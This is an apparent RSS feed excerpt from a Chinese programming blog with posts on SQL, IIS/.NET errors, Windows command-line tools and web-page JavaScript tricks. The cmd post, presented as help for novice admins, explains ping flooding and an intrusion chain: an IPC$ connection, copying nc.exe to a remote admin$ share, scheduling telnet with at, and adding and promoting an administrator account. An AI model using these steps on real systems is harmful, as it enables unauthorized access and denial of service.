 <img src ="http://www.blogjava.net/superstart/aggbug/297833.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/superstart/" target="_blank">farmer</a> 2009-10-12 08:34 <a href="http://www.blogjava.net/superstart/articles/297833.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>sql中ntext类型数据中的字符替换</title><link>http://www.blogjava.net/superstart/articles/284751.html</link><dc:creator>farmer</dc:creator><author>farmer</author><pubDate>Tue, 30 Jun 2009 05:43:00 GMT</pubDate><guid>http://www.blogjava.net/superstart/articles/284751.html</guid><wfw:comment>http://www.blogjava.net/superstart/comments/284751.html</wfw:comment><comments>http://www.blogjava.net/superstart/articles/284751.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/superstart/comments/commentRss/284751.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/superstart/services/trackbacks/284751.html</trackback:ping><description><![CDATA[update&nbsp;Tablename&nbsp;set Colname= replace(convert(varchar(8000), Colname), '河蟹社会', '和谐社会')<br />
where&nbsp;(Colname LIKE '%河蟹社会%')<br />
<br />
<p>replace 无法对text,ntext,image类型的数据操作. 因此要对改数据字段进行数据转换后，方能使用replace函数！</p>
<img src ="http://www.blogjava.net/superstart/aggbug/284751.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/superstart/" target="_blank">farmer</a> 2009-06-30 13:43 <a href="http://www.blogjava.net/superstart/articles/284751.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>配置错误 "*.dll" 访问被拒绝 的解决方法</title><link>http://www.blogjava.net/superstart/articles/226608.html</link><dc:creator>farmer</dc:creator><author>farmer</author><pubDate>Wed, 03 Sep 2008 03:26:00 GMT</pubDate><guid>http://www.blogjava.net/superstart/articles/226608.html</guid><wfw:comment>http://www.blogjava.net/superstart/comments/226608.html</wfw:comment><comments>http://www.blogjava.net/superstart/articles/226608.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/superstart/comments/commentRss/226608.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/superstart/services/trackbacks/226608.html</trackback:ping><description><![CDATA[<p>最近在编写WEB程序时，发现整站报错，提示&#8220;配置错误&nbsp;*.dll&nbsp;访问被拒绝&#8221;的问题！（不知是什么原因引起的？没装其他新的编程环境，没没做系统更新！）IIS重启、系统注销都不能解决这个错误，重启到可以治标，这种问题还是会不时的出现，最后只得在网上找到治本的解决方法！<br />
&nbsp;</p>
<p>有三种方法：<br />
<br />
(1) </p>
<p>这个不是控件的问题, 关掉索引服务后就好了， <br />
关掉他两种方法: </p>
<p>(一)可以在MS－DOS下输入 Net stop cisvc 命令禁止！ <br />
(二)可以通过进入 控制面板-〉治理工具-〉服务，找到Indexing Service并点击右键将其停止. </p>
<p>&nbsp;</p>
<p>(2) </p>
<p>其中最常见的原因是Indexing service服务引起的。解决方法就是停用Indexing service，或配置ASP.net 的临时目录不受Indexing service服务的影响。 </p>
<p>配置ASP.net 的临时目录不受Indexing service服务的影响的步骤如下： </p>
<p>&nbsp;</p>
<p>1、开始 -- 治理工具 -- 计算机治理（Win2003的位置，其他操作系统类似）打开计算机治理 </p>
<p>2、展开计算机治理左边树中&#8220;服务和应用程序&#8221;节点，再在其下展开&#8220;索引服务&#8221;节点，再在其下展开&#8220;System&#8221;节点，再在其下展开&#8220;目录&#8221;节点。 </p>
<p>3、在计算机治理的右边我们可以看到配置的索引服务目录。 </p>
<p>4、在&#8220;目录&#8221;节点上右击鼠标，选择&#8220;新建&#8221;--&#8220;目录&#8221; </p>
<p>5、在&#8220;添加目录&#8221;对话框中，路经输入框中输入 ASP.net 的临时文件目录。默认应该是： </p>
<p>c:\ &lt;WINDIR&gt; \Microsoft.NET\Framework\ &lt;Version Number&gt; \Temporary ASP.NET Files 目录。 </p>
<p>&lt;Version Number&gt; 指你要处理的.net版本。 </p>
<p>6、在&#8220;包含在索引中吗？&#8221;选项中，选择&#8220;否&#8221; </p>
<p>7、单击&#8220;确定&#8221;按钮 </p>
<p>8、在&#8220;索引服务&#8221;节点上右键单击，重起索引服务即可。 </p>
<p>参考以下文档： </p>
<p>http://community..net/Expert/topic/4075/4075120.xml </p>
<p>http://support.microsoft.com/default.aspx?scid=kb;en-us;329065 </p>
<p>&nbsp;</p>
<p><br />
(3) </p>
<p>可用记事本打开 c:\windows\microsoft.net\framework\v1.1.4322\Config\machine.config </p>
<p>查找 "processModel "里的userName= "machine " 把它改成 userName= "System " <br />
</p>
 <img src ="http://www.blogjava.net/superstart/aggbug/226608.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/superstart/" target="_blank">farmer</a> 2008-09-03 11:26 <a href="http://www.blogjava.net/superstart/articles/226608.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>.NET 2.0 和1.1 共用时,出现"服务器应用程序不可用"的错误. </title><link>http://www.blogjava.net/superstart/articles/222973.html</link><dc:creator>farmer</dc:creator><author>farmer</author><pubDate>Tue, 19 Aug 2008 04:58:00 GMT</pubDate><guid>http://www.blogjava.net/superstart/articles/222973.html</guid><wfw:comment>http://www.blogjava.net/superstart/comments/222973.html</wfw:comment><comments>http://www.blogjava.net/superstart/articles/222973.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/superstart/comments/commentRss/222973.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/superstart/services/trackbacks/222973.html</trackback:ping><description><![CDATA[<p>.NET 2.0 和1.1 共用时,出现"服务器应用程序不可用"的错误.<br />
其实是进程池调用冲突的问题,如果访问的两个应用程序,分别是2.0 和1.1, 而且他们共用一个进程池,<br />
IIS 无法同时将其解析2种版本，就会出现如上的错误.</p>
<p>解决办法:<br />
打开IIS-&gt;应用程序池，新建一应用程序池（ID：AppPool II）， 把IIS网站下的 2.0的应用程序的进程池改为 AppPool II . 即可。 </p>
<img src ="http://www.blogjava.net/superstart/aggbug/222973.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/superstart/" target="_blank">farmer</a> 2008-08-19 12:58 <a href="http://www.blogjava.net/superstart/articles/222973.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>必须掌握的八个【cmd 命令行】</title><link>http://www.blogjava.net/superstart/articles/203745.html</link><dc:creator>farmer</dc:creator><author>farmer</author><pubDate>Thu, 29 May 2008 02:48:00 GMT</pubDate><guid>http://www.blogjava.net/superstart/articles/203745.html</guid><wfw:comment>http://www.blogjava.net/superstart/comments/203745.html</wfw:comment><comments>http://www.blogjava.net/superstart/articles/203745.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/superstart/comments/commentRss/203745.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/superstart/services/trackbacks/203745.html</trackback:ping><description><![CDATA[一，ping 　　 <br />
<br />
　　它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧，在DOS窗口中键入：ping /? 回车，。所示的帮助画面。在此，我们只掌握一些基本的很有用的参数就可以了（下同）。 　　 <br />
<br />
　　-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。试想，如果你使用100M的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。 　　 <br />
<br />
　　-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用，会有更好的效果哦。 　　 <br />
<br />
　　-n 定义向目标IP发送数据包的次数，默认为3次。如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。 　　 <br />
<br />
　　说明一下，如果-t 参数和 -n参数一起使用，ping命令就以放在后面的参数为标准，比如"ping IP -t -n 3"，虽然使用了-t参数，但并不是一直ping下去，而是只ping 3次。另外，ping命令不一定非得ping IP，也可以直接ping主机域名，这样就可以得到主机的IP。 　　 <br />
<br />
　　下面我们举个例子来说明一下具体用法。 　　 <br />
<br />
　　这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小 。从TTL的返回值可以初步判断被ping主机的操作系统，之所以说"初步判断"是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。 <br />
<br />
　　（小知识：如果TTL=128，则表示目标主机可能是Win2000；如果TTL=250，则目标主机可能是Unix） <br />
<br />
　　至于利用ping命令可以快速查找局域网故障，可以快速搜索最快的QQ服务器，可以对别人进行ping攻击&#8230;&#8230;这些就靠大家自己发挥了。 　　 <br />
<br />
二，nbtstat 　　 <br />
<br />
　　该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接，使用这个命令你可以得到远程主机的NETBIOS信息，比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。 　　 <br />
<br />
　　-a 使用这个参数，只要你知道了远程主机的机器名称，就可以得到它的NETBIOS信息（下同）。 　　 <br />
<br />
　　-A 这个参数也可以得到远程主机的NETBIOS信息，但需要你知道它的IP。 <br />
<br />
　　-n 列出本地机器的NETBIOS信息。 　　 <br />
<br />
　　当得到了对方的IP或者机器名的时候，就可以使用nbtstat命令来进一步得到对方的信息了，这又增加了我们入侵的保险系数。 　　 <br />
<br />
三，netstat <br />
<br />
　　这是一个用来查看网络状态的命令，操作简便功能强大。 　　 <br />
<br />
　　-a 查看本地机器的所有开放端口，可以有效发现和预防木马，可以知道机器所开的服务等信息，如图4。 　　 <br />
<br />
　　这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法：netstat -a IP。 <br />
<br />
　　-r 列出当前的路由信息，告诉我们本地机器的网关、子网掩码等信息。用法：netstat -r IP。 <br />
四，tracert <br />
<br />
　　跟踪路由信息，使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径，这对我们了解网络布局和结构很有帮助。如图5。 　　 <br />
<br />
　　这里说明数据从本地机器传输到192.168.0.1的机器上，中间没有经过任何中转，说明这两台机器是在同一段局域网内。用法：tracert IP。 　　 <br />
<br />
五，net 　　 <br />
<br />
　　这个命令是网络命令中最重要的一个，必须透彻掌握它的每一个子命令的用法，因为它的功能实在是太强大了，这简直就是 微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令，键入net /?回车如图6。 <br />
<br />
　　在这里，我们重点掌握几个入侵常用的子命令。 　　 <br />
<br />
　　net view 　　 <br />
<br />
　　使用此命令查看远程主机的所以共享资源。命令格式为net view \IP。　　 <br />
<br />
　　net use <br />
<br />
　　把远程主机的某个共享资源影射为本地盘符，图形界面方便使用，呵呵。命令格式为net use x: \IP\sharename。上面一个表示把192.168.0.5IP的共享名为magic的目录影射为本地的Z盘。下面表示和192.168.0.7建立IPC$连接（net use \IP\IPC$ "password" /user:"name"）， 　　 <br />
<br />
　　建立了IPC$连接后，呵呵，就可以上传文件了：copy nc.exe \192.168.0.7\admin$，表示把本地目录下的nc.exe传到远程主机，结合后面要介绍到的其他DOS命令就可以实现入侵了。 　　 <br />
<br />
　　net start <br />
<br />
　　使用它来启动远程主机上的服务。当你和远程主机建立连接后，如果发现它的什么服务没有启动，而你又想利用此服务怎么办？就使用这个命令来启动吧。用法：net start servername，如图9，成功启动了telnet服务。 　　 <br />
<br />
　　net stop <br />
<br />
　　入侵后发现远程主机的某个服务碍手碍脚，怎么办？利用这个命令停掉就ok了，用法和net start同。 　　 <br />
<br />
　　net user <br />
<br />
　　查看和帐户有关的情况，包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的，最重要的，它为我们克隆帐户提供了前提。键入不带参数的net user，可以查看所有用户，包括已经禁用的。下面分别讲解。 <br />
<br />
　　1，net user abcd 1234 /add，新建一个用户名为abcd，密码为1234的帐户，默认为user组成员。 <br />
<br />
　　2，net user abcd /del，将用户名为abcd的用户删除。 <br />
<br />
　　3，net user abcd /active:no，将用户名为abcd的用户禁用。 <br />
<br />
　　4，net user abcd /active:yes，激活用户名为abcd的用户。 <br />
<br />
　　5，net user abcd，查看用户名为abcd的用户的情况　　 <br />
<br />
　　net localgroup <br />
<br />
　　查看所有和用户组有关的信息和进行相关操作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中，我们一般利用它来把某个帐户提升为administrator组帐户，这样我们利用这个帐户就可以控制整个远程主机了。用法：net localgroup groupname username /add。 　　 <br />
<br />
　　现在我们把刚才新建的用户abcd加到administrator组里去了，这时候abcd用户已经是超级管理员了，呵呵，你可以再使用net user abcd来查看他的状态，和图10进行比较就可以看出来。但这样太明显了，网管一看用户情况就能漏出破绽，所以这种方法只能对付菜鸟网管，但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员，这是后话。有兴趣的朋友可以参照《黑客防线》第30期上的《由浅入深解析隆帐户》一文。 　　 <br />
<br />
　　net time <br />
<br />
　　这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面，那么也许就用不到这个命令了。但简单的入侵成功了，难道只是看看吗？我们需要进一步渗透。这就连远程主机当前的时间都需要知道，因为利用时间和其他手段（后面会讲到）可以实现某个命令和程序的定时启动，为我们进一步入侵打好基础。用法：net time \IP。 　　 <br />
<br />
六，at <br />
<br />
这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序（知道net time的重要了吧？）。当我们知道了远程主机的当前时间，就可以利用此命令让其在以后的某个时间（比如2分钟后）执行某个程序和命令。用法：at time command \computer。 　　 <br />
<br />
　　表示在6点55分时，让名称为a-01的计算机开启telnet服务（这里net start telnet即为开启telnet服务的命令）。 　　 <br />
七，ftp 　　 <br />
<br />
　　大家对这个命令应该比较熟悉了吧？网络上开放的ftp的主机很多，其中很大一部分是匿名的，也就是说任何人都可以登陆上去。现在如果你扫到了一台开放ftp服务的主机（一般都是开了21端口的机器），如果你还不会使用ftp的命令怎么办？下面就给出基本的ftp命令使用方法。 <br />
<br />
　　首先在命令行键入ftp回车，出现ftp的提示符，这时候可以键入"help"来查看帮助（任何DOS命令都可以使用此方法查看其帮助)。 　　 <br />
<br />
　　大家可能看到了，这么多命令该怎么用？其实也用不到那么多，掌握几个基本的就够了。 　　 <br />
<br />
　　首先是登陆过程，这就要用到open了，直接在ftp的提示符下输入"open 主机IP ftp端口"回车即可，一般端口默认都是21，可以不写。接着就是输入合法的用户名和密码进行登陆了，这里以匿名ftp为例介绍。 　　 <br />
<br />
　　用户名和密码都是ftp，密码是不显示的。当提示**** logged in时，就说明登陆成功。这里因为是匿名登陆，所以用户显示为Anonymous。 　　 <br />
<br />
　　接下来就要介绍具体命令的使用方法了。 　　 <br />
<br />
　　dir 跟DOS命令一样，用于查看服务器的文件，直接敲上dir回车，就可以看到此ftp服务器上的文件。 <br />
<br />
　　cd 进入某个文件夹。 <br />
<br />
　　get 下载文件到本地机器。 <br />
<br />
　　put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了，如果可以，呵呵，该怎么 利用就不多说了，大家就自由发挥去吧。 <br />
<br />
　　delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。 <br />
<br />
　　bye 退出当前连接。 <br />
<br />
　　quit 同上。 <br />
　　 <br />
<br />
八，telnet <br />
<br />
　　功能强大的远程登陆命令，几乎所有的入侵者都喜欢用它，屡试不爽。为什么？它操作简单，如同使用自己的机器一样，只要你熟悉DOS命令，在成功以administrator身份连接了远程机器后，就可以用它来干你想干的一切了。下面介绍一下使用方法，首先键入telnet回车，再键入help查看其帮助信息。 　　 <br />
<br />
　　然后在提示符下键入open IP回车，这时就出现了登陆窗口，让你输入合法的用户名和密码，这里输入任何密码都是不显示的。 　　 <br />
<br />
　　当输入用户名和密码都正确后就成功建立了telnet连接，这时候你就在远程主机上具有了和此用户一样的权限，利用DOS命令就可以实现你想干的事情了。这里我使用的超级管理员权限登陆的。　　 <br />
<br />
　　到这里为止，网络DOS命令的介绍就告一段落了，这里介绍的目的只是给菜鸟网管一个印象，让其知道熟悉和掌握网络DOS命令的重要性。其实和网络有关的DOS命令还远不止这些，这里只是抛砖引玉，希望能对广大菜鸟网管有所帮助。学好DOS对当好网管有很大的帮助，特别的熟练掌握了一些网络的DOS命令。 <br />
<br />
　　另外大家应该清楚，任何人要想进入系统，必须得有一个合法的用户名和密码（输入法漏洞差不多绝迹了吧），哪怕你拿到帐户的只有一个很小的权限，你也可以利用它来达到最后的目的。所以坚决消灭空口令，给自己的帐户加上一个强壮的密码，是最好的防御弱口令入侵的方法。 <br />
<br />
　　最后，由衷的说一句，培养良好的安全意识才是最重要的。 <br />
<br />
========================================= <br />
开始&#8594;运行&#8594;命令集锦 <br />
winver---------检查Windows版本 <br />
wmimgmt.msc----打开windows管理体系结构(WMI) <br />
wupdmgr--------windows更新程序 <br />
wscript--------windows脚本宿主设置 <br />
write----------写字板 <br />
winmsd---------系统信息 <br />
wiaacmgr-------扫描仪和照相机向导 <br />
winchat--------XP自带局域网聊天 <br />
<br />
mem.exe--------显示内存使用情况 <br />
Msconfig.exe---系统配置实用程序 <br />
mplayer2-------简易widnows media player <br />
mspaint--------画图板 <br />
mstsc----------远程桌面连接 <br />
mplayer2-------媒体播放机 <br />
magnify--------放大镜实用程序 <br />
mmc------------打开控制台 <br />
mobsync--------同步命令 <br />
<br />
dxdiag---------检查DirectX信息 <br />
drwtsn32------ 系统医生 <br />
devmgmt.msc--- 设备管理器 <br />
dfrg.msc-------磁盘碎片整理程序 <br />
diskmgmt.msc---磁盘管理实用程序 <br />
dcomcnfg-------打开系统组件服务 <br />
ddeshare-------打开DDE共享设置 <br />
dvdplay--------DVD播放器 <br />
<br />
net stop messenger-----停止信使服务 <br />
net start messenger----开始信使服务 <br />
notepad--------打开记事本 <br />
nslookup-------网络管理的工具向导 <br />
ntbackup-------系统备份和还原 <br />
narrator-------屏幕"讲述人" <br />
ntmsmgr.msc----移动存储管理器 <br />
ntmsoprq.msc---移动存储管理员操作请求 <br />
netstat -an----(TC)命令检查接口 <br />
<br />
syncapp--------创建一个公文包 <br />
sysedit--------系统配置编辑器 <br />
sigverif-------文件签名验证程序 <br />
sndrec32-------录音机 <br />
shrpubw--------创建共享文件夹 <br />
secpol.msc-----本地安全策略 <br />
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码 <br />
services.msc---本地服务设置 <br />
Sndvol32-------音量控制程序 <br />
sfc.exe--------系统文件检查器 <br />
sfc /scannow---windows文件保护 <br />
<br />
tsshutdn-------60秒倒计时关机命令 <br />
tourstart------xp简介（安装完成后出现的漫游xp程序） <br />
taskmgr--------任务管理器 <br />
<br />
eventvwr-------事件查看器 <br />
eudcedit-------造字程序 <br />
explorer-------打开资源管理器 <br />
<br />
<br />
packager-------对象包装程序 <br />
perfmon.msc----计算机性能监测程序 <br />
progman--------程序管理器 <br />
<br />
regedit.exe----注册表 <br />
rsop.msc-------组策略结果集 <br />
regedt32-------注册表编辑器 <br />
rononce -p ----15秒关机 <br />
regsvr32 /u *.dll----停止dll文件运行 <br />
regsvr32 /u zipfldr.dll------取消ZIP支持 <br />
<br />
cmd.exe--------CMD命令提示符 <br />
chkdsk.exe-----Chkdsk磁盘检查 <br />
certmgr.msc----证书管理实用程序 <br />
calc-----------启动计算器 <br />
charmap--------启动字符映射表 <br />
cliconfg-------SQL SERVER 客户端网络实用程序 <br />
Clipbrd--------剪贴板查看器 <br />
conf-----------启动netmeeting <br />
compmgmt.msc---计算机管理 <br />
cleanmgr-------垃圾整理 <br />
ciadv.msc------索引服务程序 <br />
<br />
osk------------打开屏幕键盘 <br />
odbcad32-------ODBC数据源管理器 <br />
oobe/msoobe /a----检查XP是否激活 <br />
lusrmgr.msc----本机用户和组 <br />
logoff---------注销命令 <br />
<br />
<br />
iexpress-------木马捆绑工具，系统自带 <br />
<br />
Nslookup-------IP地址侦测器 <br />
<br />
fsmgmt.msc-----共享文件夹管理器 <br />
<br />
utilman--------辅助工具管理器 <br />
<br />
gpedit.msc-----组策略 <br />
<br />
<img src ="http://www.blogjava.net/superstart/aggbug/203745.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/superstart/" target="_blank">farmer</a> 2008-05-29 10:48 <a href="http://www.blogjava.net/superstart/articles/203745.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>40种网站设计常用技巧</title><link>http://www.blogjava.net/superstart/articles/203744.html</link><dc:creator>farmer</dc:creator><author>farmer</author><pubDate>Thu, 29 May 2008 02:45:00 GMT</pubDate><guid>http://www.blogjava.net/superstart/articles/203744.html</guid><wfw:comment>http://www.blogjava.net/superstart/comments/203744.html</wfw:comment><comments>http://www.blogjava.net/superstart/articles/203744.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/superstart/comments/commentRss/203744.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/superstart/services/trackbacks/203744.html</trackback:ping><description><![CDATA[&nbsp;1. &nbsp; oncontextmenu="window.event.returnValue=false" &nbsp; 将彻底屏蔽鼠标右键 &nbsp; <br />
&nbsp; &lt;table &nbsp; border &nbsp; oncontextmenu=return(false)&gt;&lt;td&gt;no&lt;/table&gt; &nbsp; 可用于Table &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 2. &nbsp; &lt;body &nbsp; onselectstart="return &nbsp; false"&gt; &nbsp; 取消选取、防止复制 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 3. &nbsp; onpaste="return &nbsp; false" &nbsp; 不准粘贴 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 4. &nbsp; oncopy="return &nbsp; false;" &nbsp; oncut="return &nbsp; false;" &nbsp; 防止复制 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 5. &nbsp; &lt;link &nbsp; rel="Shortcut &nbsp; Icon" &nbsp; href="favicon.ico"&gt; &nbsp; IE地址栏前换成自己的图标 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 6. &nbsp; &lt;link &nbsp; rel="Bookmark" &nbsp; href="favicon.ico"&gt; &nbsp; 可以在收藏夹中显示出你的图标 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 7. &nbsp; &lt;input &nbsp; style="ime-mode:disabled"&gt; &nbsp; 关闭输入法 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 8. &nbsp; 永远都会带着框架 &nbsp; <br />
&nbsp; &lt;script &nbsp; language="JavaScript"&gt;&lt;!-- &nbsp; <br />
&nbsp; if &nbsp; (window &nbsp; == &nbsp; top)top.location.href &nbsp; = &nbsp; "frames.htm"; &nbsp; //frames.htm为框架网页 &nbsp; <br />
&nbsp; // &nbsp; --&gt;&lt;/script&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 9. &nbsp; 防止被人frame &nbsp; <br />
&nbsp; &lt;SCRIPT &nbsp; LANGUAGE=JAVASCRIPT&gt;&lt;!-- &nbsp; &nbsp; <br />
&nbsp; if &nbsp; (top.location &nbsp; != &nbsp; self.location)top.location=self.location; &nbsp; <br />
&nbsp; // &nbsp; --&gt;&lt;/SCRIPT&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 10. &nbsp; 网页将不能被另存为 &nbsp; <br />
&nbsp; &lt;noscript&gt;&lt;iframe &nbsp; src="/blog/*.html&gt;";&lt;/iframe&gt;&lt;/noscript&gt; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 11. &nbsp; &lt;input &nbsp; type=button &nbsp; value=查看网页源代码 &nbsp; &nbsp; <br />
&nbsp; onclick="window.location &nbsp; = &nbsp; "view-source:"+ &nbsp; "http://www.williamlong.info""&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 12.删除时确认 &nbsp; <br />
&nbsp; &lt;a &nbsp; href="javascript:if(confirm("确实要删除吗?"))location="boos.asp?&amp;areyou=删除&amp;page=1""&gt;删除&lt;/a&gt; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 13. &nbsp; 取得控件的绝对位置 &nbsp; <br />
&nbsp; //Javascript &nbsp; <br />
&nbsp; &lt;script &nbsp; language="Javascript"&gt; &nbsp; <br />
&nbsp; function &nbsp; getIE(e){ &nbsp; <br />
&nbsp; var &nbsp; t=e.offsetTop; &nbsp; <br />
&nbsp; var &nbsp; l=e.offsetLeft; &nbsp; <br />
&nbsp; while(e=e.offsetParent) &nbsp; <br />
&nbsp; alert("top="+t+"/nleft="+l); &nbsp; <br />
&nbsp; } &nbsp; <br />
&nbsp; &lt;/script&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; //VBScript &nbsp; <br />
&nbsp; &lt;script &nbsp; language="VBScript"&gt;&lt;!-- &nbsp; <br />
&nbsp; function &nbsp; getIE() &nbsp; <br />
&nbsp; dim &nbsp; t,l,a,b &nbsp; <br />
&nbsp; set &nbsp; a=document.all.img1 &nbsp; <br />
&nbsp; t=document.all.img1.offsetTop &nbsp; <br />
&nbsp; l=document.all.img1.offsetLeft &nbsp; <br />
&nbsp; while &nbsp; a.tagName&lt;&gt;"BODY" &nbsp; <br />
&nbsp; set &nbsp; a &nbsp; = &nbsp; a.offsetParent &nbsp; <br />
&nbsp; t=t+a.offsetTop &nbsp; <br />
&nbsp; l=l+a.offsetLeft &nbsp; <br />
&nbsp; wend &nbsp; <br />
&nbsp; msgbox &nbsp; "top="&amp;t&amp;chr(13)&amp;"left="&amp;l,64,"得到控件的位置" &nbsp; <br />
&nbsp; end &nbsp; function &nbsp; <br />
&nbsp; --&gt;&lt;/script&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 14. &nbsp; 光标是停在文本框文字的最后 &nbsp; <br />
&nbsp; &lt;script &nbsp; language="javascript"&gt; &nbsp; <br />
&nbsp; function &nbsp; cc() &nbsp; <br />
&nbsp; { &nbsp; <br />
&nbsp; var &nbsp; e &nbsp; = &nbsp; event.srcElement; &nbsp; <br />
&nbsp; var &nbsp; r &nbsp; =e.createTextRange(); &nbsp; <br />
&nbsp; r.moveStart("character",e.value.length); &nbsp; <br />
&nbsp; r.collapse(true); &nbsp; <br />
&nbsp; r.select(); &nbsp; <br />
&nbsp; } &nbsp; <br />
&nbsp; &lt;/script&gt; &nbsp; <br />
&nbsp; &lt;input &nbsp; type=text &nbsp; name=text1 &nbsp; value="123" &nbsp; onfocus="cc()"&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 15. &nbsp; 判断上一页的来源 &nbsp; <br />
&nbsp; javascript: &nbsp; <br />
&nbsp; document.referrer&nbsp;&nbsp; <br />
<br />
16. &nbsp; 最小化、最大化、关闭窗口 &nbsp; <br />
&nbsp; &lt;object &nbsp; id=hh1 &nbsp; classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"&gt; &nbsp; &nbsp; <br />
&nbsp; &lt;param &nbsp; name="Command" &nbsp; value="Minimize"&gt;&lt;/object&gt; &nbsp; <br />
&nbsp; &lt;object &nbsp; id=hh2 &nbsp; classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"&gt; &nbsp; &nbsp; <br />
&nbsp; &lt;param &nbsp; name="Command" &nbsp; value="Maximize"&gt;&lt;/object&gt; &nbsp; <br />
&nbsp; &lt;OBJECT &nbsp; id=hh3 &nbsp; classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"&gt; &nbsp; <br />
&nbsp; &lt;PARAM &nbsp; NAME="Command" &nbsp; VALUE="Close"&gt;&lt;/OBJECT&gt; &nbsp; <br />
&nbsp; &lt;input &nbsp; type=button &nbsp; value=最小化 &nbsp; onclick=hh1.Click()&gt; &nbsp; <br />
&nbsp; &lt;input &nbsp; type=button &nbsp; value=最大化 &nbsp; onclick=hh2.Click()&gt; &nbsp; <br />
&nbsp; &lt;input &nbsp; type=button &nbsp; value=关闭 &nbsp; onclick=hh3.Click()&gt; &nbsp; <br />
&nbsp; 本例适用于IE &nbsp; <br />
&nbsp; &nbsp; <br />
<clk>&nbsp; 17.屏蔽<nobr oncontextmenu="return false;" onmousemove="kwM(4);" id="clickeyekey4" onmouseover="kwE(event,4, this);" style="color: #6600ff; border-bottom: #6600ff 1px dotted; background-color: transparent; text-decoration: underline" onclick="return kwC(event,4)" onmouseout="kwL(event,this)" target="_blank">功能</nobr>键Shift,Alt,Ctrl &nbsp; </clk><br />
&nbsp; &lt;script&gt; &nbsp; <br />
&nbsp; function &nbsp; look(){ &nbsp; &nbsp; <br />
&nbsp; if(event.shiftKey) &nbsp; &nbsp; <br />
&nbsp; alert("禁止按Shift键!"); &nbsp; //可以换成ALT　CTRL &nbsp; <br />
&nbsp; } &nbsp; &nbsp; <br />
&nbsp; document.onkeydown=look; &nbsp; &nbsp; <br />
&nbsp; &lt;/script&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 18. &nbsp; 网页不会被缓存 &nbsp; <br />
&nbsp; &lt;META &nbsp; HTTP-EQUIV="pragma" &nbsp; CONTENT="no-cache"&gt; &nbsp; <br />
&nbsp; &lt;META &nbsp; HTTP-EQUIV="Cache-Control" &nbsp; CONTENT="no-cache, &nbsp; must-revalidate"&gt; &nbsp; <br />
